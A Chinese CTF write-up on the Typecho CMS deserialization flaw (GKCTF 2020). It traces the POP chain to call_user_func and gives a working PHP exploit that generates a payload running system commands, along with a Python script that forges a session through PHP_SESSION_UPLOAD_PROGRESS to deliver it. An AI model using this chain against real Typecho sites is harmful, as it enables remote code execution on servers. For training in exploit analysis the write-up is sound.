[GKCTF 2020]ez三剑客-eztypecho

[GKCTF 2020]ez三剑客-eztypecho

考点:Typecho反序列化漏洞

打开题目,发现是typecho的CMS

在这里插入图片描述

尝试跟着创建数据库发现不行,那么就搜搜此版本的相关信息发现存在反序列化漏洞 参考文章

跟着该文章分析来,首先找到install.php,看向下面代码

<?php if (isset($_GET['finish'])) : ?>
//省略部分代码<?phpif(!isset($_SESSION)) { die('no, you can\'t unserialize it without session QAQ');}$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));Typecho_Cookie::delete('__typecho_config');$db = new Typecho_Db($config['adapter'], $config['prefix']);$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);Typecho_Db::set($db);?>
<?php endif; ?>

如果有GET传参finish,则进入下面代码,如果有session值,那么unserialize函数反序列化,我们跟进到Typecho_Cookie::get()

发现在/var/Typecho/Cookie.php

public static function get($key, $default = NULL)
{$key = self::$_prefix . $key;$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);return is_array($value) ? $default : $value;
}

可以知道__typecho_config就是我们传参的$key(也就是参数名)

注意$value的赋值逻辑,如果cookie存在key参数,那么该参数值赋值给$value

$value = $_COOKIE[$key] ;

如果cookie不存在key参数,那么进行第二步判断

$value = (isset($_POST[$key]) ? $_POST[$key] : $default);

同理如果存在key,则将POST传参key的参数值赋给$value

所以cookie传参或者post传参都行

回到install.php,发现存在Typecho_Db类的调用

$db = new Typecho_Db($config['adapter'], $config['prefix']);

跟进到/var/Typecho/Db.php去看看实例化的过程

public function __construct($adapterName, $prefix = 'typecho_')
{/** 获取适配器名称 */$this->_adapterName = $adapterName;/** 数据库适配器 */$adapterName = 'Typecho_Db_Adapter_' . $adapterName;if (!call_user_func(array($adapterName, 'isAvailable'))) {throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");}$this->_prefix = $prefix;/** 初始化内部变量 */$this->_pool = array();$this->_connectedPool = array();$this->_config = array();//实例化适配器对象$this->_adapter = new $adapterName();
}

不难发现$adapterName可控,也就是install.php中的$config,往下看发现出现字符串拼接,因此可以触发__toString魔术方法

我们在/var/Typecho/Feed.php找到toString()方法

public function __toString()
{$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;if (self::RSS1 == $this->_type) {//省略部分代码} else if (self::RSS2 == $this->_type) {foreach ($this->_items as $item) {$content .= '<item>' . self::EOL;$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;$content .= '<link>' . $item['link'] . '</link>' . self::EOL;$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;//给师傅们减轻负担QAQ,要加上$item['category'] = array(new Typecho_Request());和$this->_type防止500$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;if (!empty($item['category']) && is_array($item['category'])) {foreach ($item['category'] as $category) {$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;}}//省略部分代码
}

如果self::RSS2 == $this->_type为真,那么$item['author']->screenName会调用screenName属性,如果author为对象,且不存在该属性则可以调用_get()方法

我们跟进到/var/Typecho/Request.php

public function __get($key)
{return $this->get($key);
}

传入$key(也就是screenName),然后调用自己的get方法

public function get($key, $default = NULL)
{switch (true) {case isset($this->_params[$key]):$value = $this->_params[$key];break;case isset(self::$_httpParams[$key]):$value = self::$_httpParams[$key];break;default:$value = $default;break;}$value = !is_array($value) && strlen($value) > 0 ? $value : $default;return $this->_applyFilter($value);
}

大概意思就是给$value赋值,返回_applyFilter($value);,至于这里switch选择的是isset($this->_params[$key]),因为这个是可控的,而$_httpParams是false不可控(这些都可以在源码找到)

继续跟进到_applyFilter()

private function _applyFilter($value)
{if ($this->_filter) {foreach ($this->_filter as $filter) {$value = is_array($value) ? array_map($filter, $value) :call_user_func($filter, $value);}$this->_filter = array();}return $value;
}

可以发现存在call_user_func()函数命令执行,我们知道_filter可控,也就是说通过_filter_params来实现RCE

所以pop链逻辑如下

//提供传参前提
Typecho_Cookie::get()
//命令执行链子
Typecho_Db::__construct() -> Typecho_Feed::toString() -> Typecho_Request::__get() -> Typecho_Request::get()

而Typecho_Db类的实例化已经帮我们实施了,所以我们只需要构造后面的

这里items[]数组我们就不用源码中的

public function addItem(array $item)
{$this->_items[] = $item;
}

我们直接自己实例化就行

exp如下

<?php
class Typecho_Feed{const RSS2 = 'RSS 2.0';private $_type;private $_items=array();public function __construct(){$this->_type=$this::RSS2;$this->_items[]=array("autohr" => new Typecho_Request(),"category" => array(new Typecho_Request()));}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'cat /flag';  $this->_filter[0] = 'system';}}
$a=new Typecho_Feed();
$b=array("adapter" => $a,"prefix" => "typecho_"
);
echo base64_encode(serialize($b));

得到payload后解决如何构造session,用的是PHP中的特性PHP_SESSION_UPLOAD_PROGRESS

利用session.upload_progress,可以将上传的文件信息保存在session中,从而实现构造session

脚本如下

import requests
url='http://node4.anna.nssctf.cn:28256/install.php?finish=1'
files={"file":"123"
}
headers={"Cookie":"__typecho_lang=zh_CN;PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dG9ociI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo0OiJscyAvIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX1zOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ6ImxzIC8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==","Referer":"http://node4.anna.nssctf.cn:28256/install.php"
}req=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"})
print(req.text)

我们通过POST上传PHP_SESSION_UPLOAD_PROGRESS使得将上传文件信息保存到session,上传的文件就是files

不过这里环境好像有点问题,没有flag

在这里插入图片描述

另外一个触发思路

因为get传参start处也有一个反序列化,所以也可以用那个打

要满足2个条件即可:

  1. $_GET[‘start’] 参数不为空
  2. Referer 必须是本站

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/229586.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unable to connect to Redis server

报错内容&#xff1a; Exception in thread "main" org.redisson.client.RedisConnectionException: java.util.concurrent.ExecutionException: org.redisson.client.RedisConnectionException: Unable to connect to Redis server: 175.24.186.230/175.24.186.230…

使用idea构建父子类springboot项目教程

第一步创建一个父类java项目&#xff08;最外层java项目&#xff09; 1.点击File 然后点击new 再点击Project 2.点击Maven 配置Java版本 再点击next 3.GroupId&#xff1a;包结构&#xff0c;ArtifactId&#xff1a;项目名称&#xff0c;填写完&#xff0c;点击next 4.点击…

IOS - 手机安装包 ipa 常见几种方式

安装 ipa 包的方法有很多中&#xff0c;可以通过不同的软件安装&#xff0c;本文只列出了常用的几种&#xff0c;做个简单的归纳整理 1、iTunes 安装 数据线连接手机之后&#xff0c;会自动连接iTunes&#xff0c;&#xff08;第一次连接的时候会提示是否信任此电脑&#xff0…

基于springboot的火锅店管理系统设计与实现

&#x1f345;点赞收藏关注 → 私信领取本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345;一 、设计说明 1.1选题动因 当前…

打造绿色饲养链:河南恩珅德农业引领可持续农业发

在河南恩珅德农业的引领下&#xff0c;可持续农业的概念得到了更进一步的实践和推动。其致力于打造绿色饲养链的努力&#xff0c;旨在通过创新的理念和科技手段&#xff0c;实现饲养业的可持续发展。本文将深入探讨河南恩珅德农业是如何引领可持续农业发展&#xff0c;打造绿色…

Selenium教程06:单选框+多选框+下拉框组件的示例练习

1.Radio单选框的示例用法&#xff0c;通过网页元素class和type属性多条件共同定位元素&#xff0c;模拟依次选中Android&#xff0c;Apple&#xff0c;Windows。 网页元素结构 <input type"radio" class"ivu-radio-input" name"ivuRadioGroup_170…

Flink-【时间语义、窗口、水位线】

1. 时间语义 1.1 事件时间&#xff1a;数据产生的事件&#xff08;机器时间&#xff09;&#xff1b; 1.2 处理时间&#xff1a;数据处理的时间&#xff08;系统时间&#xff09;。 &#x1f330;&#xff1a;可乐 可乐的生产日期 事件时间&#xff08;可乐产生的时间&…

240101-5步MacOS自带软件无损快速导出iPhone照片

硬件准备&#xff1a; iphone手机Mac电脑数据线 操作步骤&#xff1a; Step 1: 找到并打开MacOS自带的图像捕捉 Step 2: 通过数据线将iphone与电脑连接Step 3&#xff1a;iphone与电脑提示“是否授权“&#xff1f; >>> “是“Step 4&#xff1a;左上角选择自己的设…

石头剪刀布游戏 - 华为OD统一考试

OD统一考试 分值&#xff1a; 100分 题解&#xff1a; Java / Python / C 题目描述 石头剪刀布游戏有 3 种出拳形状: 石头、剪刀、布。分别用字母 A,B,C 表示游戏规则&#xff1a; 出拳形状之间的胜负规则如下: A>B; B>C; C>A&#xff1b; 左边一个字母&#xff0c;…

04.MySQL的基本操作

MySQL的基本操作 一、连接和断开MySQL服务器1、通过系统服务器启动、停止MySQL服务器2、通过命令提示符&#xff08;DOS&#xff09;启动、停止MySQL服务器2.1 启动 MySQL 服务器&#xff1a;2.2 停止 MySQL 服务器&#xff1a;2.3 登录和退出mysql 二、创建和管理数据库2.1 创…

东信免驱系列身份证阅读器串口通讯协议解析示例,适用于单片机、ARM等系统开发集成使用

完整的一次读卡流程包括&#xff1a; 身份证寻卡 > 身份证选卡 > 身份证读卡&#xff0c;三个步骤 缺一不可&#xff08;见通讯协议&#xff09;。 寻卡&#xff1a;EA EB EC ED 04 00 B0 B4 BB 返回&#xff1a;EA EB EC ED 05 00 00 B0 B5 BB 选卡&#xff1a;EA …

【SpringBoot3】1.SpringBoot入门的第一个完整小项目(新手保姆版+教会打包)

目录 1 SpringBoot简单介绍1.1 SpringBoot是什么1.2 主要优点1.3 术语1.3.1 starter&#xff08;场景启动器&#xff09; 1.4 官方文档 2 环境说明3 实现代码3.1 新建工程与模块3.2 加入依赖3.3 主程序文件3.4 业务代码3.5 运行测试3.6 部署打包3.7 命令行运行 1 SpringBoot简单…

【Jasypt】SpringBoot配置文件加密

1、加密介绍 在yml配置文件中会存在一些敏感数据&#xff0c;比如用户名&#xff0c;密码&#xff0c;第三方应用的密钥等等。这些信息是以明文的形式出现在文件中&#xff0c;存在较大安全隐患。Jasypt&#xff08;Java Simplified Encryption&#xff09;是一个Java库&#…

小红书、抖音、视频号下载工具:随心管理个人作品集 | 开源日报 No.134

karanpratapsingh/system-design Stars: 20.6k License: NOASSERTION 这个项目是关于系统设计的。它提供了有关系统设计的课程内容&#xff0c;包括 IP、OSI 模型、TCP 和 UDP 等主题。该项目的核心优势和特点如下&#xff1a; 提供全面而高效的系统架构定义。从基础设施到数…

《最新出炉》系列初窥篇-Python+Playwright自动化测试-6-元素定位大法-下篇

1.简介 上一篇主要是讲解我们日常工作中在使用Playwright进行元素定位的一些比较常用的定位方法的理论基础知识以及在什么情况下推荐使用。今天这一篇讲解和分享一下&#xff0c;在日常中很少用到或者很少见的定位&#xff0c;但是遇到了我们也要会&#xff0c;俗话说&#xf…

RKE安装k8s及部署高可用rancher之证书在外面的7层LB(nginx中) 7层负载均衡

一 了解 Rancher 1 推荐架构 安装 Rancher 的方式有两种&#xff1a;单节点安装和高可用集群安装。因为单节点安装只适用于测试和 demo 环境&#xff0c;而且单节点安装和高可用集群安装之间不能进行数据迁移&#xff0c;所以推荐从一开始就使用高可用集群安装的方式安装 Ran…

视频融合云平台/智慧监控平台EassyCVR告警警告出错是什么原因?该如何解决?

视频集中存储/云存储/视频监控管理平台EasyCVR能在复杂的网络环境中&#xff0c;将分散的各类视频资源进行统一汇聚、整合、集中管理&#xff0c;实现视频资源的鉴权管理、按需调阅、全网分发、智能分析等。AI智能/大数据视频分析EasyCVR平台已经广泛应用在工地、工厂、园区、楼…

【webstorm中通过附加方式打开一个项目,这个项目本身有git,但是却看不到git的解决方法】

1、如图所示 设置-》版本控制-》未注册的根&#xff0c;选中后&#xff0c;再点加号&#xff0c;就可以了 2、如图所示 版本控制-》直接点加号-》选中项目路径&#xff0c;vcs选择git&#xff0c;点击确定就可以了

【QT搭建】搭建可以生成手机APP的环境

一.问题分析 1.在原来的QT版本上安装Android(不推荐) 此方法暂时未实践成功,记录调试过程,可跳过 如果原来安装过QT桌面级PC软件的,可能没有配置JDK和SDK就会在QT选项的设备栏目种看到报错的提示。 并且Kits的选项里面没有Android,所以解决的问题是,缺少Kit套件Andro…

【算法设计与分析】期末复习

文章目录 复习大纲第一章算法概述1.1算法与程序1.2 算法复杂性分析 第二章递归与分治策略分治法的基本思想递归与分治的关系&#xff1a;用分治法解决的问题的几个特征&#xff1a;例题&#xff1a; 第三章动态规划动态规划的基本思想&#xff1a;分治与动态规划算法的异同&…